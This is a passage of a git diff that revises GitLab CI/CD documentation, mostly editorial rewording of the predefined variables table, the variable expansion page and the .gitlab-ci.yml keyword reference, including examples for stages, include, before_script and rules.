| `CI_PAGES_DOMAIN` | 11.8 | all | The configured domain that hosts GitLab Pages. | | `CI_PAGES_URL` | 11.8 | all | URL to GitLab Pages-built pages. Always belongs to a subdomain of `CI_PAGES_DOMAIN`. | | `CI_PIPELINE_ID` | 8.10 | all | The instance-level ID of the current pipeline. This is a unique ID across all projects on GitLab. | | `CI_PIPELINE_IID` | 11.0 | all | The project-level IID (internal ID) of the current pipeline. This ID is unique for the current project. | -| `CI_PIPELINE_SOURCE` | 10.0 | all | Indicates how the pipeline was triggered. Possible options are: `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens) (renamed to `cross_project_pipeline` since 13.0). For pipelines created before GitLab 9.5, this is displayed as `unknown`. | +| `CI_PIPELINE_SOURCE` | 10.0 | all | Indicates how the pipeline was triggered. Possible options are: `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens). For pipelines created before GitLab 9.5, this is displayed as `unknown`. | | `CI_PIPELINE_TRIGGERED` | all | all | The flag to indicate that job was [triggered](../triggers/README.md) | | `CI_PIPELINE_URL` | 11.1 | 0.5 | Pipeline details URL | | `CI_PROJECT_DIR` | all | all | The full path where the repository is cloned and where the job is run. If the GitLab Runner `builds_dir` parameter is set, this variable is set relative to the value of `builds_dir`. For more information, see [Advanced configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) for GitLab Runner. | @@ -112,7 +119,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_PROJECT_TITLE` | 12.4 | all | The human-readable project name as displayed in the GitLab web interface. | | `CI_PROJECT_URL` | 8.10 | 0.5 | The HTTP(S) address to access project | | `CI_PROJECT_VISIBILITY` | 10.3 | all | The project visibility (internal, private, public) | -| `CI_REGISTRY` | 8.10 | 0.5 | If the Container Registry is enabled it returns the address of GitLab's Container Registry. This variable includes a `:port` value if one has been specified in the registry configuration. | +| `CI_REGISTRY` | 8.10 | 0.5 | If the Container Registry is enabled it returns the address of the GitLab Container Registry. This variable includes a `:port` value if one has been specified in the registry configuration. | | `CI_REGISTRY_IMAGE` | 8.10 | 0.5 | If the Container Registry is enabled for the project it returns the address of the registry tied to the specific project | | `CI_REGISTRY_PASSWORD` | 9.0 | all | The password to use to push containers to the GitLab Container Registry, for the current project. | | `CI_REGISTRY_USER` | 9.0 | all | The username to use to push containers to the GitLab Container Registry, for the current project. | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index b914f3db572..f2dc58bc144 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -24,7 +24,7 @@ There are two places defined variables can be used. On the: | Definition | Can be expanded? | Expansion place | Description | |:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | +| `environment:url` | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab.<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | | `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | @@ -57,8 +57,8 @@ There are three expansion mechanisms: ### GitLab internal variable expansion mechanism The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. -Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any runner will get the job. +Each form is handled in the same way, no matter which OS/shell handles the job, +because the expansion is done in GitLab before any runner gets the job. ### GitLab Runner internal variable expansion mechanism @@ -66,7 +66,7 @@ since the expansion is done in GitLab before any runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. @@ -77,7 +77,7 @@ This is an expansion that takes place during the `script` execution. How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's `script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled by bash/sh (leaving empty strings or some values depending whether the variables were -defined or not), but will not work with Windows' `cmd` or PowerShell, since these shells +defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells are using a different variables syntax. Supported: @@ -87,10 +87,10 @@ Supported: `.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules). - The `script` may also use all variables defined in the lines before. So, for example, if you define a variable `export MY_VARIABLE="test"`: - - In `before_script`, it will work in the following lines of `before_script` and + - In `before_script`, it works in the following lines of `before_script` and all lines of the related `script`. - - In `script`, it will work in the following lines of `script`. - - In `after_script`, it will work in following lines of `after_script`. + - In `script`, it works in the following lines of `script`. + - In `after_script`, it works in following lines of `after_script`. In the case of `after_script` scripts, they can: @@ -133,7 +133,7 @@ due to security reasons. Variables defined with an environment scope are supported. Given that there is a variable `$STAGING_SECRET` defined in a scope of `review/staging/*`, the following job that is using dynamic environments -is going to be created, based on the matching variable expression: +is created, based on the matching variable expression: ```yaml my-job: diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 1057a1389de..7ca74cdf2a2 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,31 +13,30 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). - To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). -While you are authoring your `.gitlab-ci.yml` file, you can validate it -by using the [CI Lint](../lint.md) tool. -project namespace. For example, `https://gitlab.example.com/gitlab-org/project-123/-/ci/lint`. +When you are editing your `.gitlab-ci.yml` file, you can validate it with the +[CI Lint](../lint.md) tool. ## Job keywords A job is defined as a list of keywords that define the job's behavior. -The following table lists available keywords for jobs: +The keywords available for jobs are: | Keyword | Description | |:---------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [`script`](#script) | Shell script that is executed by a runner. | +| [`script`](#script) | Shell script that is executed by a runner. | | [`after_script`](#after_script) | Override a set of commands that are executed after job. | -| [`allow_failure`](#allow_failure) | Allow job to fail. Failed job does not contribute to commit status. | +| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | | [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. Also available: `artifacts:paths`, `artifacts:exclude`, `artifacts:expose_as`, `artifacts:name`, `artifacts:untracked`, `artifacts:when`, `artifacts:expire_in`, and `artifacts:reports`. | | [`before_script`](#before_script) | Override a set of commands that are executed before job. | -| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | +| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | | [`coverage`](#coverage) | Code coverage settings for a given job. | | [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. | | [`environment`](#environment) | Name of an environment to which the job deploys. Also available: `environment:name`, `environment:url`, `environment:on_stop`, `environment:auto_stop_in`, and `environment:action`. | | [`except`](#onlyexcept-basic) | Limit when jobs are not created. Also available: [`except:refs`, `except:kubernetes`, `except:variables`, and `except:changes`](#onlyexcept-advanced). | -| [`extends`](#extends) | Configuration entries that this job inherits from. | +| [`extends`](#extends) | Configuration entries that this job inherits from. | | [`image`](#image) | Use Docker images. Also available: `image:name` and `image:entrypoint`. | -| [`include`](#include) | Allows this job to include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | +| [`include`](#include) | Include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | | [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. | | [`only`](#onlyexcept-basic) | Limit when jobs are created. Also available: [`only:refs`, `only:kubernetes`, `only:variables`, and `only:changes`](#onlyexcept-advanced). | | [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. | @@ -48,7 +47,7 @@ The following table lists available keywords for jobs: | [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. May not be used alongside `only`/`except`. | | [`services`](#services) | Use Docker services images. Also available: `services:name`, `services:alias`, `services:entrypoint`, and `services:command`. | | [`stage`](#stage) | Defines a job stage (default: `test`). | -| [`tags`](#tags) | List of tags that are used to select a runner. | +| [`tags`](#tags) | List of tags that are used to select a runner. | | [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. | | [`trigger`](#trigger) | Defines a downstream pipeline trigger. | | [`variables`](#variables) | Define job variables on a job level. | @@ -69,20 +68,20 @@ can't be used as job names**: - `cache` - `include` -## Global keywords - -Some keywords must be defined at a global level, affecting all jobs in the pipeline. +### Reserved keywords -### Using reserved keywords - -If you get validation error when using specific values (for example, `true` or `false`), try to: +If you get a validation error when using specific values (for example, `true` or `false`), try to: - Quote them. - Change them to a different form. For example, `/bin/true`. +## Global keywords + +Some keywords are defined at a global level and affect all jobs in the pipeline. + ### Global defaults -Some keywords can be set globally as the default for all jobs using the +Some keywords can be set globally as the default for all jobs with the `default:` keyword. Default keywords can then be overridden by job-specific configuration. @@ -121,7 +120,7 @@ rspec 2.6: You can disable inheritance of globally defined defaults and variables with the `inherit:` keyword. -To enable or disable the inheritance of all `variables:` or `default:` keywords, use the following format: +To enable or disable the inheritance of all `default:` or `variables:` keywords, use: - `default: true` or `default: false` - `variables: true` or `variables: false` @@ -198,17 +197,16 @@ karma: ### `stages` -`stages` is used to define stages that contain jobs and is defined -globally for the pipeline. +Use `stages` to define stages that contain groups of jobs. `stages` is defined globally +for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is +part of. -The specification of `stages` allows for having flexible multi stage pipelines. -The ordering of elements in `stages` defines the ordering of jobs' execution: +The order of the `stages` items defines the execution order for jobs: -1. Jobs of the same stage are run in parallel. -1. Jobs of the next stage are run after the jobs from the previous stage - complete successfully. +- Jobs in the same stage run in parallel. +- Jobs in the next stage run after the jobs from the previous stage complete successfully. -Let's consider the following example, which defines 3 stages: +For example: ```yaml stages: @@ -217,25 +215,28 @@ stages: - deploy ``` -1. First, all jobs of `build` are executed in parallel. -1. If all jobs of `build` succeed, the `test` jobs are executed in parallel. -1. If all jobs of `test` succeed, the `deploy` jobs are executed in parallel. -1. If all jobs of `deploy` succeed, the commit is marked as `passed`. -1. If any of the previous jobs fails, the commit is marked as `failed` and no - jobs of further stage are executed. +1. All jobs in `build` execute in parallel. +1. If all jobs in `build` succeed, the `test` jobs execute in parallel. +1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel. +1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`. + +If any job fails, the pipeline is marked as `failed` and jobs in later stages do not +start. Jobs in the current stage are not stopped and continue to run. -There are also two edge cases worth mentioning: +If no `stages` are defined in `.gitlab-ci.yml`, then `build`, `test` and `deploy` +are the default pipeline stages. -1. If no `stages` are defined in `.gitlab-ci.yml`, then the `build`, - `test` and `deploy` are allowed to be used as job's stage by default. -1. If a job does not specify a `stage`, the job is assigned the `test` stage. +If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. + +To make a job start earlier and ignore the stage order, use +the [`needs`](#needs) keyword. ### `workflow:rules` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5 The top-level `workflow:` keyword determines whether or not a pipeline is created. -It accepts a single `rules:` keyword that is similar to [`rules:` defined within jobs](#rules). +It accepts a single `rules:` keyword that is similar to [`rules:` defined in jobs](#rules). Use it to define what can trigger a new pipeline. You can use the [`workflow:rules` templates](#workflowrules-templates) to import @@ -291,12 +292,11 @@ workflow: ``` This example prevents pipelines for schedules or `push` (branches and tags) pipelines. -The final `when: always` rule lets all other pipeline types run, **including** merge +The final `when: always` rule runs all other pipeline types, **including** merge request pipelines. -Be careful not to have rules that match both branch pipelines -and merge request pipelines. Similar to `rules` defined in jobs, this can cause -[duplicate pipelines](#prevent-duplicate-pipelines). +If your rules match both branch pipelines and merge request pipelines, +[duplicate pipelines](#prevent-duplicate-pipelines) can occur. #### `workflow:rules` templates @@ -308,7 +308,7 @@ for common scenarios. These templates help prevent duplicate pipelines. The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml) makes your pipelines run for branches and tags. -Branch pipeline status is displayed within merge requests that use the branch +Branch pipeline status is displayed in merge requests that use the branch as a source. However, this pipeline type does not support any features offered by [Merge Request Pipelines](../merge_request_pipelines/), like [Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results) @@ -341,17 +341,18 @@ include: > - Available for Starter, Premium, and Ultimate in GitLab 10.6 and later. > - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Core in 11.4. -Using the `include` keyword allows the inclusion of external YAML files. This helps -to break down the CI/CD configuration into multiple files and increases readability for long configuration files. -It's also possible to have template files stored in a central repository and projects include their -configuration files. This helps avoid duplicated configuration, for example, global default variables for all projects. +Use the `include` keyword to include external YAML files in your CI/CD configuration. +You can break down one long `gitlab-ci.yml` into multiple files to increase readability, +or reduce duplication of the same configuration in multiple places. + +You can also store template files in a central repository and `include` them in projects. `include` requires the external YAML file to have the extensions `.yml` or `.yaml`, otherwise the external file is not included. -Using [YAML anchors](#anchors) across different YAML files sourced by `include` is not -supported. You must only refer to anchors in the same file. Instead -of using YAML anchors, you can use the [`extends` keyword](#extends). +You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`. +You can only refer to anchors in the same file. Instead of YAML anchors, you can +use the [`extends` keyword](#extends). `include` supports the following inclusion methods: @@ -374,20 +375,20 @@ The files defined by `include` are: - Always evaluated first and merged with the content of `.gitlab-ci.yml`, regardless of the position of the `include` keyword. -TIP: **Tip:** +NOTE: Use merging to customize and override included CI/CD configurations with local definitions. Local definitions in `.gitlab-ci.yml` override included definitions. #### `include:local` `include:local` includes a file from the same repository as `.gitlab-ci.yml`. -It's referenced using full paths relative to the root directory (`/`). +It's referenced with full paths relative to the root directory (`/`). You can only use files that are tracked by Git on the same branch -your configuration file is on. In other words, when using a `include:local`, make +your configuration file is on. If you `include:local`, make sure that both `.gitlab-ci.yml` and the local file are on the same branch. -Including local files through Git submodules paths is not supported. +You can't include local files through Git submodules paths. All [nested includes](#nested-includes) are executed in the scope of the same project, so it's possible to use local, project, remote, or template includes. @@ -412,7 +413,7 @@ include: '.gitlab-ci-production.yml' > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. To include files from another private project under the same GitLab instance, -use `include:file`. This file is referenced using full paths relative to the +use `include:file`. This file is referenced with full paths relative to the root directory (`/`). For example: ```yaml @@ -439,8 +440,7 @@ include: ``` All [nested includes](#nested-includes) are executed in the scope of the target project. -This means you can use local (relative to target project), project, remote, -or template includes. +You can use local (relative to target project), project, remote, or template includes. ##### Multiple files from a project @@ -490,8 +490,8 @@ include: - remote: 'https://gitlab.com/awesome-project/raw/master/.gitlab-ci-template.yml' ``` -All [nested includes](#nested-includes) are executed without context as public user, so only another remote -or public project, or template, is allowed. +All [nested includes](#nested-includes) are executed without context as a public user, +so you can only `include` public projects or templates. #### `include:template` @@ -503,7 +503,7 @@ or public project, or template, is allowed. For example: ```yaml -# File sourced from GitLab's template collection +# File sourced from the GitLab template collection include: - template: Auto-DevOps.gitlab-ci.yml ``` @@ -523,9 +523,9 @@ so it's possible to use project, remote or template includes. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9. -Nested includes allow you to compose a set of includes. +Use nested includes to compose a set of includes. -A total of 100 includes is allowed, but duplicate includes are considered a configuration error. +You can have up to 100 includes, but you can't have duplicate includes. In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit to resolve all files is 30 seconds. @@ -633,10 +633,8 @@ job: #### `before_script` -> Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`before_script` is used to define commands that should run before each job, including -deploy jobs, but after the restoration of any [artifacts](#artifacts). This must be an array. +`before_script` is used to define an array of commands that should run before each job, +but after [artifacts](#artifacts) are restored. Scripts specified in `before_script` are concatenated with any scripts specified in the main [`script`](#script), and executed together in a single shell. @@ -646,27 +644,25 @@ It's possible to overwrite a globally defined `before_script` if you define it i ```yaml default: before_script: - - echo "Execute this in all jobs that don't already have a before_script section." + - echo "Execute this script in all jobs that don't already have a before_script section." job1: script: - - echo "This executes after the global before_script." + - echo "This script executes after the global before_script." job: before_script: - - echo "Execute this instead of the global before_script." + - echo "Execute this script instead of the global before_script." script: - - echo "This executes after the job's `before_script`" + - echo "This script executes after the job's `before_script`" ``` You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). #### `after_script` -Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`after_script` is used to define commands that run after each job, including failed -jobs. This must be an array. +`after_script` is used to define an array of commands that run after each job, +including failed jobs. If a job times out or is cancelled, the `after_script` commands are not executed. Support for executing `after_script` commands for timed-out or cancelled jobs @@ -688,17 +684,17 @@ Scripts specified in `after_script` are executed in a new shell, separate from a ```yaml default: after_script: - - echo "Execute this in all jobs that don't already have an after_script section." + - echo "Execute this script in all jobs that don't already have an after_script section." job1: script: - - echo "This executes first. When it completes, the global after_script executes." + - echo "This script executes first. When it completes, the global after_script executes." job: script: - - echo "This executes first. When it completes, the job's `after_script` executes." + - echo "This script executes first. When it completes, the job's `after_script` executes." after_script: - - echo "Execute this instead of the global after_script." + - echo "Execute this script instead of the global after_script." ``` You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts). @@ -715,7 +711,7 @@ You can use special syntax in [`script`](README.md#script) sections to: ### `stage` `stage` is defined per-job and relies on [`stages`](#stages), which is defined -globally. It allows to group jobs into different stages, and jobs of the same +globally. Use `stage` to define which stage a job runs in, and jobs of the same `stage` are executed in parallel (subject to [certain conditions](#using-your-own-runners)). For example: ```yaml @@ -751,14 +747,12 @@ job 5: #### Using your own runners -When you use your own runners, GitLab Runner runs only one job at a time by default. See the -`concurrent` flag in [runner global settings](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section) -for more information. - -Jobs run on your own runners in parallel only if: +When you use your own runners, each runner runs only one job at a time by default. +Jobs can run in parallel if they run on different runners. -- Run on different runners. -- The runner's `concurrent` setting has been changed. +If you have only one runner, jobs can run in parallel if the runner's +[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section) +is greater than `1`. #### `.pre` and `.post` @@ -854,9 +848,8 @@ If you do want to include the `rake test`, see [`before_script`](#before_script) `.tests` in this example is a [hidden job](#hide-jobs), but it's possible to inherit from regular jobs as well. -`extends` supports multi-level inheritance. You should avoid using more than 3 levels, -but you can use as many as eleven. -The following example has two levels of inheritance: +`extends` supports multi-level inheritance. You should avoid using more than three levels, +but you can use as many as eleven. The following example has two levels of inheritance: ```yaml .tests: @@ -922,7 +915,7 @@ rspec: - rake rspec ``` -This results in the following `rspec` job: +The result is this `rspec` job: ```yaml rspec: @@ -961,7 +954,7 @@ For example, if you have a local `included.yml` file: - echo Hello! ``` -Then, in `.gitlab-ci.yml` you can use it like this: +Then, in `.gitlab-ci.yml`: ```yaml include: included.yml @@ -991,11 +984,12 @@ If you attempt to use both keywords in the same job, the linter returns a #### Rules attributes -The job attributes allowed by `rules` are: +The job attributes you can use with `rules` are: - [`when`](#when): If not defined, defaults to `when: on_success`. - If used as `when: delayed`, `start_in` is also required. - [`allow_failure`](#allow_failure): If not defined, defaults to `allow_failure: false`. +- [`variables`](#rulesvariables): If not defined, uses the [variables defined elsewhere](#variables). If a rule evaluates to true, and `when` has any value except `never`, the job is included in the pipeline. @@ -1011,9 +1005,6 @@ docker build: allow_failure: true ``` -Additional job configuration may be added to rules in the future. If something -useful is not available, please [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues). - #### Rules clauses Available rule clauses are: @@ -1047,7 +1038,7 @@ For example, using `if` clauses to strictly limit when jobs run: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: manual @@ -1061,11 +1052,11 @@ In this example: is added to the [merge request pipeline](../merge_request_pipelines/index.md) with attributes of: - `when: manual` (manual job) - - `allow_failure: true` (allows the pipeline to continue running even if the manual job is not run) + - `allow_failure: true` (the pipeline continues running even if the manual job is not run) - If the pipeline is **not** for a merge request, the first rule doesn't match, and the second rule is evaluated. - If the pipeline is a scheduled pipeline, the second rule matches, and the job - is added to the scheduled pipeline. Since no attributes were defined, it is added + is added to the scheduled pipeline. No attributes were defined, so it is added with: - `when: on_success` (default) - `allow_failure: false` (default) @@ -1076,7 +1067,7 @@ run them in all other cases: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: never @@ -1089,7 +1080,7 @@ job: - If the pipeline is a scheduled pipeline, the job is **not** be added to the pipeline. - In **all other cases**, the job is added to the pipeline, with `when: on_success`. -CAUTION: **Caution:** +WARNING: If you use a `when:` clause as the final rule (not including `when: never`), two simultaneous pipelines may start. Both push pipelines and merge request pipelines can be triggered by the same event (a push to the source branch for an open merge request). @@ -1100,8 +1091,8 @@ for more details. Jobs defined with `rules` can trigger multiple pipelines with the same action. You don't have to explicitly configure rules for each type of pipeline to trigger them -accidentally. Rules that are too loose (allowing too many types of pipelines) could -cause a second pipeline to run unexpectedly. +accidentally. Rules that are too broad could cause simultaneous pipelines of a different +type to run unexpectedly. Some configurations that have the potential to cause duplicate pipelines cause a [pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. @@ -1111,7 +1102,7 @@ For example: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "false"' when: never @@ -1123,18 +1114,18 @@ other pipelines, including **both** push (branch) and merge request pipelines. W this configuration, every push to an open merge request's source branch causes duplicated pipelines. -There are multiple ways to avoid this: +There are multiple ways to avoid duplicate pipelines: - Use [`workflow: rules`](#workflowrules) to specify which types of pipelines - can run. To eliminate duplicate pipelines, allow only merge request pipelines - or push (branch) pipelines. + can run. To eliminate duplicate pipelines, use merge request pipelines only + or push (branch) pipelines only. - Rewrite the rules to run the job only in very specific cases, and avoid using a final `when:` rule: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1148,7 +1139,7 @@ without `workflow: rules`: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' when: never @@ -1159,7 +1150,7 @@ Do not include both push and merge request pipelines in the same job: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' @@ -1171,10 +1162,10 @@ and `rules` can cause issues that are difficult to troubleshoot: ```yaml job-with-no-rules: - script: "echo This job runs in branch pipelines." + script: echo "This job runs in branch pipelines." job-with-rules: - script: "echo This job runs in merge request pipelines." + script: echo "This job runs in merge request pipelines." rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1196,7 +1187,7 @@ See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) fo #### `rules:if` `rules:if` clauses determine whether or not jobs are added to a pipeline by evaluating -a simple `if` statement. If the `if` statement is true, the job is either included +an `if` statement. If the `if` statement is true, the job is either included or excluded from a pipeline. In plain English, `if` rules can be interpreted as one of: - "If this rule evaluates to true, add the job" (default). @@ -1205,8 +1196,8 @@ or excluded from a pipeline. In plain English, `if` rules can be interpreted as `rules:if` differs slightly from `only:variables` by accepting only a single expression string per rule, rather than an array of them. Any set of expressions to be evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) -by using `&&` or `||`, and use -the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions). +by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-environment-variable-expressions). + Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts) sections, variables in rules expressions are always formatted as `$VARIABLE`. @@ -1217,7 +1208,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: always @@ -1250,7 +1241,7 @@ check the value of the `$CI_PIPELINE_SOURCE` variable: | `external` | When using CI services other than GitLab. | | `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | | `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`, use this in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | | `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | | `push` | For pipelines triggered by a `git push` event, including for branches and tags. | | `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | @@ -1262,7 +1253,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "schedule"' when: manual @@ -1278,7 +1269,7 @@ Another example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - if: '$CI_PIPELINE_SOURCE == "schedule"' @@ -1293,8 +1284,8 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. - `if: '$CI_COMMIT_BRANCH == "master"'`: If changes are pushed to `master`. - `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default - branch (usually `master`). Useful if reusing the same configuration in multiple - projects with potentially different default branches. + branch (usually `master`). Use when you want to have the same configuration in multiple + projects with different default branches. - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. - `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables) `CUSTOM_VARIABLE` does **not** match a regular expression. @@ -1325,8 +1316,8 @@ docker build: In this example: - If the pipeline is a merge request pipeline, check `Dockerfile` for changes. -- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and allow the pipeline - to continue running even if the job is not triggered (`allow_failure: true`). +- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline + continues running even if the job is not triggered (`allow_failure: 